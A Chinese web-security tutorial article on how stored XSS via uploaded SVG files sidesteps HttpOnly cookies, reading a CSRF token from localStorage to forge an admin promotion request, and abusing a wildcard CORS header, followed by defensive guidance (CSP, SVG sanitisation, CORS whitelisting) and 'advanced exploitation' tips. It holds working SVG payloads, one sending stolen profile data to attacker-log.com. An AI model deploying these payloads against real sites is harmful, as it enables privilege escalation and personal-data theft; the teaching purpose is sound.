HttpOnly与CORS配置不当:XSS攻击如何绕过Cookie防护窃取身份与数据
1. 项目概述当XSS遇上HttpOnly与CORS安全防线真的固若金汤吗在Web安全的世界里XSS跨站脚本攻击就像一把万能钥匙而HttpOnly属性则被许多人视为锁住Cookie这扇门的“安全锁”。很多开发者甚至一些安全测试人员都认为只要给关键的会话Cookie打上HttpOnly的标签就能高枕无忧XSS攻击者再也无法窃取用户的登录凭证。但现实真的如此简单吗今天我们就来深入探讨一个在实战中极具价值的组合攻击场景如何利用XSS在HttpOnly Cookie存在的情况下依然实现高危害的攻击并进一步结合CORS跨源资源共享漏洞将攻击的影响范围从单一站点扩展到整个应用生态。这个主题源于我在多次渗透测试和漏洞研究中反复遇到的一种“安全错觉”。开发团队投入资源修复了“可被窃取Cookie的XSS”却忽略了攻击路径的多样性。核心问题在于攻击者的目标从来不是Cookie本身而是Cookie所代表的“身份”和“权限”。当直接读取Cookie的路径被HttpOnly阻断时有经验的攻击者会立刻转向寻找其他能代表身份或授权状态的“信物”比如存储在LocalStorage或SessionStorage中的CSRF Token、JWT令牌甚至是应用内部用于标识用户的特定参数。更危险的是如果目标站点存在配置不当的CORS策略攻击者就能从一个完全无关的第三方域名发起攻击让XSS的利用变得更加隐蔽和灵活。这篇文章适合所有对Web安全感兴趣的朋友无论是刚入门的安全爱好者、正在学习渗透测试的学生还是希望提升自家应用安全水位的一线开发工程师。我将从一个真实的测试场景出发拆解攻击链路上的每一个环节不仅告诉你“怎么做”更会深入分析“为什么能这么做”以及在实际防御中“应该如何堵住这些缺口”。你会发现安全是一个环环相扣的体系任何一个环节的疏忽都可能让其他看似坚固的防御措施形同虚设。2. 核心原理深度剖析HttpOnly的局限与攻击面的转移要理解如何绕过HttpOnly首先必须彻底明白HttpOnly到底保护了什么以及它没有保护什么。很多资料会简单地告诉你设置了HttpOnly的CookieJavaScript通过document.cookieAPI无法读取。这没错但这只是故事的一半。2.1 HttpOnly Cookie的工作机制与本质弱点HttpOnly是一个设置在HTTP响应头Set-Cookie中的属性例如Set-Cookie: sessionidabc123; HttpOnly; Secure; Path/。它的作用非常明确阻止客户端脚本主要是JavaScript访问该Cookie。浏览器会严格遵守这个规则任何通过document.cookie进行的读取操作都会自动过滤掉带有HttpOnly标志的Cookie。然而这里存在一个至关重要的、却常被误解的事实HttpOnly并不阻止浏览器在发起HTTP请求时自动携带该Cookie。这是Cookie协议的核心机制。只要请求的域名、路径等属性符合Cookie的设置浏览器就会默默地将它附加在请求头中。这意味着如果一个页面存在XSS漏洞攻击者注入的恶意脚本虽然读不到Cookie的值却可以利用当前浏览器上下文即受害者的会话发起任意HTTP请求而这些请求会自动携带受害者的身份凭证HttpOnly Cookie。注意这就是“绕过”HttpOnly的逻辑基础。攻击者不需要知道Cookie的具体内容是什么比如sessionidabc123他只需要让浏览器“代表”受害者去执行某个关键操作如修改密码、发起转账、提升权限即可。攻击的目标从“窃取数据”转向了“冒用身份执行操作”。2.2 攻击面的转移寻找Cookie的“替代品”既然直接读取Cookie行不通攻击者就会在应用的其他地方寻找能够代表用户身份或授权状态的“令牌”。在现代Web应用中常见的替代目标包括CSRF Token这是最常见的“替代品”。为了防御CSRF攻击应用会在表单或页面中嵌入一个随机令牌Token提交请求时必须验证该令牌。这个令牌通常会被放在HTML表单的隐藏域中input typehidden namecsrf_token valuerandom123HTTP请求头中如X-CSRF-TOKEN: random123客户端存储中如localStorage.setItem(csrfToken, random123)或sessionStorage。 如果CSRF Token被存储在localStorage或sessionStorage中那么XSS攻击就可以通过localStorage.getItem(csrfToken)轻松获取它。即使Token放在Meta标签或JavaScript变量里XSS也总能找到办法提取。JWT或其他API令牌在前后端分离的应用中身份验证常使用JSON Web Token。虽然JWT本身可能通过HttpOnly Cookie来传输最佳实践但有些实现会错误地将JWT存储在localStorage中以便前端JavaScript调用API时使用。这无疑为XSS打开了一扇大门。应用内生的用户标识例如用户ID、用户名可能直接存在于全局JavaScript对象、DOM元素如div>app.post(/upload-avatar, (req, res) { const userFile req.files.avatar; const fileExtension path.extname(userFile.name).toLowerCase(); // 错误只检查了文件名后缀是.svg但没有检查文件内容 if (fileExtension .svg) { // 直接将文件内容保存到服务器 fs.writeFileSync(./uploads/${userId}.svg, userFile.data); res.json({ success: true, url: /uploads/${userId}.svg }); } else { // 处理其他图片格式... } });前端页面会显示这个头像img src/uploads/123.svg altAvatar。攻击者的操作注册一个普通用户账号并登录。准备一个恶意的SVG文件evil.svg内容如下svg xmlnshttp://www.w3.org/2000/svg width100 height100 script typetext/javascript // 恶意JavaScript代码将在这里 alert(XSS Executed!); /script rect width100 height100 fillred/ /svg通过头像上传功能上传这个evil.svg文件。当管理员在后台查看该用户的资料时浏览器会加载这个SVG作为图片。由于SVG文件内嵌了script标签浏览器会执行其中的JavaScript代码触发XSS。这就是一个典型的存储型XSS。3.3 绕过HttpOnly窃取LocalStorage中的CSRF Token假设应用在登录后将CSRF Token存储在了前端// 登录成功后前端代码执行 localStorage.setItem(app_csrf_token, a1b2c3d4e5f6);并且所有敏感POST请求都需要在头部带上这个Tokenfetch(/api/admin/promote, { method: POST, headers: { Content-Type: application/json, X-CSRF-Token: localStorage.getItem(app_csrf_token) }, body: JSON.stringify({ userId: targetUserId }) });此时攻击者可以升级他的SVG攻击载荷。他不再尝试读取document.cookie因为读不到HttpOnly的会话Cookie而是改为读取localStorage并直接发起一个伪造的提权请求。升级后的恶意SVG (bypass_httponly.svg)svg xmlnshttp://www.w3.org/2000/svg width0 height0 script typetext/javascript // 1. 静默窃取CSRF Token const stolenToken localStorage.getItem(app_csrf_token); console.log(Stolen CSRF Token:, stolenToken); // 2. 构造并发送提权请求 (假设攻击者自己的用户ID是2) const maliciousRequest new XMLHttpRequest(); maliciousRequest.open(POST, /api/admin/promote, true); maliciousRequest.setRequestHeader(Content-Type, application/json); maliciousRequest.setRequestHeader(X-CSRF-Token, stolenToken); maliciousRequest.send(JSON.stringify({ userId: 2 })); // 3. (可选) 将窃取到的Token发送到攻击者服务器 // new Image().src https://attacker.com/steal?token encodeURIComponent(stolenToken); /script /svg这个SVG的宽高为0所以管理员在页面上看不到任何异常。一旦管理员浏览到该用户的头像脚本就会自动执行从当前浏览器上下文的localStorage中读取到管理员的CSRF Token。使用这个合法的Token伪造一个请求将攻击者用户ID2提升为管理员。可选将Token外传到攻击者控制的服务器供后续其他攻击使用。至此攻击者在不获取会话Cookie的情况下成功利用了管理员的身份和权限完成了权限提升操作完全绕过了HttpOnly的保护。3.4 组合攻击利用CORS漏洞扩大战果假设目标应用还有一个用户个人资料APIGET /api/profile该接口返回用户的敏感信息如邮箱、手机、地址并且配置了错误的CORS头app.get(/api/profile, (req, res) { // ... 验证用户会话 ... const userData { email: userexample.com, phone: 13800138000 }; res.setHeader(Access-Control-Allow-Origin, *); // 危险配置 res.json(userData); });攻击者可以进一步修改XSS载荷不仅执行本地操作还去窃取其他接口的敏感数据。由于CORS配置为*从任何源包括通过XSS执行的脚本发起的请求都能读取到响应内容。终极组合攻击SVG (combined_attack.svg)svg xmlnshttp://www.w3.org/2000/svg width0 height0 script typetext/javascript (function() { // 第一部分提权 const csrfToken localStorage.getItem(app_csrf_token); if (csrfToken) { fetch(/api/admin/promote, { method: POST, headers: { Content-Type: application/json, X-CSRF-Token: csrfToken }, body: JSON.stringify({ userId: 2 }) }).then(r console.log(Promote request sent:, r.status)); } // 第二部分利用CORS窃取敏感数据 fetch(/api/profile) .then(response response.json()) .then(data { console.log(Stolen profile data:, data); // 将数据外传到攻击者服务器 const exfil new FormData(); exfil.append(data, JSON.stringify(data)); fetch(https://attacker-log.com/collect, { method: POST, body: exfil, mode: no-cors }); }).catch(e console.error(CORS fetch failed:, e)); })(); /script /svg这个载荷实现了“一石二鸟”利用本地XSS上下文绕过HttpOnly使用CSRF Token完成提权操作。利用宽松的CORS策略从同一个域但不同源上下文窃取用户的敏感个人资料数据并外传。4. 防御方案与最佳实践了解了攻击手法防御的思路就清晰了。防御需要层层设防不能依赖单一机制。4.1 针对“绕过HttpOnly”的防御CSRF Token的正确存储与使用绝对不要将CSRF Token存储在localStorage、sessionStorage或任何可被JavaScript全局访问的地方。推荐做法将CSRF Token放在HttpOnly Cookie中。是的用另一个HttpOnly Cookie来保护CSRF Token。前端JS不需要读取它只需要在发起请求时由浏览器自动携带。后端同时验证请求中的CSRF Token参数来自表单或自定义头和Cookie中的Token是否匹配。这就是“Double Submit Cookie”模式。替代方案使用加密的、有时效性的Token并将其嵌入到HTML表单的隐藏字段中。确保Token与当前用户会话强绑定。实施严格的Content Security Policy (CSP) CSP是防御XSS的终极利器之一。通过限制页面可以加载和执行脚本的来源可以极大增加XSS利用的难度。禁止内联脚本script-src self;这可以阻止像svgscriptalert(1)/script这样的攻击。限制脚本来源只允许从可信的域名加载JS文件。对于必须使用内联脚本的情况可以使用nonce或hash机制。一个针对我们案例的严格CSP头示例Content-Security-Policy: default-src self; img-src self data:; script-src self https://trusted-cdn.com; object-src none;这个策略会阻止SVG文件中的内联脚本执行。安全的SVG处理对上传的SVG文件进行静态内容分析移除或禁用其中的script、a带javascript:、use可能引用外部恶意资源等危险元素和属性。或者更彻底的做法将SVG文件转换为光栅化图片如PNG再存储和展示。这能从根本上消除SVG中的脚本执行风险。输入输出编码与过滤对用户上传的文件内容进行严格的验证和过滤不仅仅是检查文件头或后缀名。在前端渲染任何用户可控的数据时进行正确的HTML编码。4.2 针对CORS漏洞的防御避免使用通配符*除非是绝对公开、无任何敏感信息的资源如公开的字体、图片否则永远不要将Access-Control-Allow-Origin设置为*。白名单机制在服务器端维护一个可信的源Origin白名单。只有当请求的Origin头在白名单内时才将其值反射到Access-Control-Allow-Origin响应头中。注意要避免使用简单的字符串包含indexOf检查防止被attackexample.com这种域名绕过。限制允许的方法和头部使用Access-Control-Allow-Methods和Access-Control-Allow-Headers精确指定允许的HTTP方法和请求头不要使用*。谨慎处理带凭证的请求如果请求需要携带Cookie或HTTP认证信息即withCredentials模式那么Access-Control-Allow-Origin不能为*必须指定明确的、可信的源。同时需要设置Access-Control-Allow-Credentials: true。预检请求Preflight的缓存合理设置Access-Control-Max-Age避免频繁的OPTIONS预检请求影响性能但也不宜设置过长。4.3 纵深防御体系定期安全审计与渗透测试主动寻找XSS、不安全的CORS配置以及其他逻辑漏洞。使用现代前端框架如React、Vue、Angular等它们通常提供默认的XSS防护机制如自动转义。启用Cookie的Secure和SameSite属性Secure确保Cookie仅通过HTTPS传输。SameSiteLax或Strict可以有效防御CSRF攻击为整个安全体系增加一层保障。监控与告警对异常的管理操作如批量提权、来自异常来源的API请求进行监控和告警。5. 常见问题排查与高级技巧在实际测试和防御中你会遇到各种边界情况和疑难杂症。这里分享一些实战中积累的经验。5.1 问题排查清单问题现象可能原因排查步骤XSS Payload已触发但localStorage.getItem返回null。1. Token存储在sessionStorage而非localStorage。2. Token的键名不对。3. 页面有多个同源标签页Storage被清除或覆盖。4. 应用使用了自定义的存储方案如IndexedDB。1. 在开发者工具Console中分别输入localStorage和sessionStorage查看。2. 在Application面板中查看所有Storage项。3. 搜索源码查找setItem调用。4. 检查Network请求看Token是否通过其他方式传递如响应体。伪造的Fetch/XHR请求返回403或缺少认证错误。1. CSRF Token验证失败值错误、过期。2. 请求未自动携带HttpOnly Cookie可能是跨域请求或Cookie的Path不匹配。3. 后端还有除Token外的其他验证如请求头Referer检查。1. 确认窃取的Token是否最新有效。2. 检查请求的URL是否在Cookie的作用域内域名、路径。3. 使用浏览器开发者工具的Network面板对比正常请求和你伪造的请求检查所有Headers的差异。SVG中的脚本在img标签中不执行。现代浏览器出于安全考虑默认情况下通过img标签加载的SVG文件中的脚本不会执行。1. 尝试通过object、embed或iframe标签加载SVG。2. 如果应用将SVG内容直接内联到HTML中如div${svgContent}/div脚本会执行。这是更危险的场景。3. 寻找其他XSS向量如HTML注入点。CORS请求被浏览器阻止控制台报错“blocked by CORS policy”。1. 目标服务器的CORS策略不允许当前源。2. 请求头包含了不被允许的自定义头。3. 请求方法如PUT, DELETE不被允许。4. 带凭证的请求(credentials: include)但服务器未返回Access-Control-Allow-Credentials: true。1. 仔细阅读浏览器控制台的完整错误信息它会明确指出哪一项检查未通过。2. 检查服务器返回的CORS相关响应头是否齐全且正确。3. 尝试简化请求移除不必要的自定义头和credentials模式看是否能通过预检。5.2 高级利用技巧基于DOM的XSS与Storage如果XSS是DOM型的Payload可能无法直接访问localStorage如果脚本在沙箱环境或不同源iframe中执行。此时需要尝试通过postMessage、调用父窗口函数等方式来间接访问。Token的自动更新与竞争条件有些应用会在每次请求后更新CSRF Token。如果你的攻击Payload在Token更新前读取了旧Token并在更新后发送请求就会失败。解决方法是让Payload在发送请求前实时读取Token或者尝试触发一个不会使Token失效的请求来获取新Token。利用JavaScript框架的全局状态在Vue、React等单页应用中CSRF Token或用户信息可能存储在Vuex、Redux等状态管理库中。通过XSS访问window.$store.state或window.__NUXT__.state等全局对象可能直接获取到所需数据。盲打XSS与外部通信如果攻击触发的操作没有视觉反馈如静默关注某个用户、修改某个设置你需要让Payload将操作结果外传到你的服务器。可以使用fetch、Image对象、navigator.sendBeacon等方式。CORS与子域接管如果Access-Control-Allow-Origin动态反射了请求的Origin且校验不严可以尝试寻找目标的已废弃子域名并接管它子域接管漏洞然后利用该子域作为攻击源通过CORS读取主域敏感数据。5.3 防御侧的深度检查作为开发者或安全人员在代码审计和渗透测试时应重点检查全局搜索在代码库中搜索localStorage.setItem、sessionStorage.setItem、Access-Control-Allow-Origin、*等关键词。审查所有文件上传点不仅检查后缀名过滤更要检查内容处理逻辑。特别是对XML、SVG、PDF、Office文档等支持复杂内容的格式。分析前端路由和API调用追踪一个关键操作如支付、改密、提权从前端到后端的完整链路确认每一个认证和授权参数Cookie、Header、Body参数的来源是否安全。使用自动化工具辅助使用Burp Suite、ZAP等工具的主动/被动扫描功能以及专门的CORS扫描插件可以帮助发现配置问题。同时代码静态分析工具(SAST)也能发现潜在的安全编码问题。安全是一个持续的过程而非一劳永逸的状态。理解攻击者的思维和手段是构建有效防御的第一步。希望这篇详尽的拆解能帮助你打破对HttpOnly和CORS的“安全错觉”在设计和评估Web应用安全时建立起更立体、更深入的防御视角。

相关新闻

基于CNN的中草药智能识别系统设计与实现

基于CNN的中草药智能识别系统设计与实现

1. 项目概述:基于CNN的中草药智能识别系统 这个毕业设计项目构建了一个基于卷积神经网络(CNN)的常见中草药图像识别系统。作为一名长期从事AI项目开发的工程师,我注意到传统中草药识别主要依赖人工经验,存在效率低、主观性强等问题。本项目通…

2026/7/4 10:49:13阅读更多 →
EME并行加密模式:原理、安全性与高性能应用实践

EME并行加密模式:原理、安全性与高性能应用实践

1. 项目概述:为什么我们需要EME这样的并行加密模式?在数据加密的世界里,我们常常面临一个经典的权衡:安全性与性能。传统的加密模式,比如我们熟知的CBC(密码分组链接模式),它要求数据…

2026/7/4 10:49:13阅读更多 →
从XZ后门事件解析高级供应链攻击的加密与签名机制

从XZ后门事件解析高级供应链攻击的加密与签名机制

1. 项目概述:从一次安全事件到技术深潜 最近安全圈里闹得沸沸扬扬的XZ Utils后门事件,相信大家都听说了。作为一个在二进制安全和逆向分析领域摸爬滚打了十几年的老鸟,我第一反应不是去追热点,而是立刻去扒了相关的分析报告和那个…

2026/7/4 10:49:13阅读更多 →
企业级AI Agent开发实战:从工具调用到安全集成

企业级AI Agent开发实战:从工具调用到安全集成

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Claude 随心用,限时 5 折。 👉 点击领海量免费额度 最近在AI圈和开发者社区里,一个话题的热度持续攀升:当AI Agent(智能体)能够深度理解…

2026/7/4 11:54:17阅读更多 →
企业微信API数据防泄漏,如何构建防御性架构?

企业微信API数据防泄漏,如何构建防御性架构?

在对接企业微信 API (WeCom API) 时,开发者往往将重心放在接口调用的连通性上,却忽视了应用架构层面的“数据护城河”。企业微信作为核心通讯与办公入口,承载着通讯录、审批单、聊天记录等高敏感度信息。如果不建立防御性的数据治理架构&…

2026/7/4 11:54:17阅读更多 →
Unicode注入攻击:从原理到防御,以Unicorn Shop靶场为例

Unicode注入攻击:从原理到防御,以Unicorn Shop靶场为例

1. 项目概述:当“独角兽”遇上“视觉把戏” 最近在复盘一些经典的Web安全靶场项目,Unicorn Shop这个案例让我印象尤为深刻。它表面上是一个售卖虚拟独角兽的简单电商网站,但内核却是一个绝佳的Unicode安全教学样本。很多刚入门Web安全的朋友&…

2026/7/4 11:54:17阅读更多 →
AI编程助手后端模型替换指南:用国产大模型驱动Codex等工具

AI编程助手后端模型替换指南:用国产大模型驱动Codex等工具

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Claude 随心用,限时 5 折。 👉 点击领海量免费额度 如果你是一名开发者,最近一定被各种 AI 编程助手刷屏了。从 GitHub Copilot 到 Cursor,再到 Claude Code&am…

2026/7/4 11:54:17阅读更多 →
国产大模型实测对比与办公提效指南

国产大模型实测对比与办公提效指南

我不能按照您的要求生成涉及Google Gemini模型在中国大陆使用教程、镜像网站推荐等内容的博文。原因如下:内容安全合规性不可保障:您提供的原始材料中明确包含大量与“国内直连”“镜像网站”“无需科学上网”等表述高度关联的敏感语境。尽管原文未直接出…

2026/7/4 11:54:17阅读更多 →
MLOps模型服务化与生产可观测性实战指南

MLOps模型服务化与生产可观测性实战指南

1. 项目概述:这不是一次模型训练,而是一场工程交付 “From Notebook to Production: Running ML in the Real World (Part 4)”——这个标题里藏着一个被太多人轻描淡写、却让无数团队在临门一脚时彻底卡死的真相: Notebook 是思考的草稿纸&…

2026/7/4 11:49:16阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/7/3 14:18:39阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/7/3 14:38:35阅读更多 →
端到端自动驾驶:从GTC‘26看工程可信落地的核心逻辑

端到端自动驾驶:从GTC‘26看工程可信落地的核心逻辑

1. 项目概述:当算法工程师走进GTC26展厅,看到的不是芯片,而是“端到端”的呼吸节奏“端到端”这三个字,在GTC’26现场出现的频率,高得像NVLink带宽测试时的峰值曲线——它不再是一个论文里的技术路径选项,而…

2026/7/4 0:02:48阅读更多 →
缺牙修复科普:常见义齿类型与选择参考

缺牙修复科普:常见义齿类型与选择参考

缺牙修复科普:常见义齿类型与选择参考牙齿缺失是中老年人群中较为常见的口腔问题,不仅会造成咀嚼不便、进食受影响,长期还可能对营养摄入与日常社交带来困扰。义齿是改善缺牙问题的常用方式,目前市面上的义齿种类较多,…

2026/7/4 0:02:48阅读更多 →
STM32F091RC与LTC6904实现高精度方波信号生成

STM32F091RC与LTC6904实现高精度方波信号生成

1. 项目概述:LTC6904与STM32F091RC的精准方波生成方案在嵌入式系统开发中,精确的时钟信号和定时控制往往是项目成败的关键。LTC6904作为一款低功耗、高精度的可编程振荡器芯片,与STM32F091RC这款ARM Cortex-M0内核微控制器的组合,…

2026/7/4 0:02:48阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/4 1:16:56阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/4 2:33:55阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/4 2:33:55阅读更多 →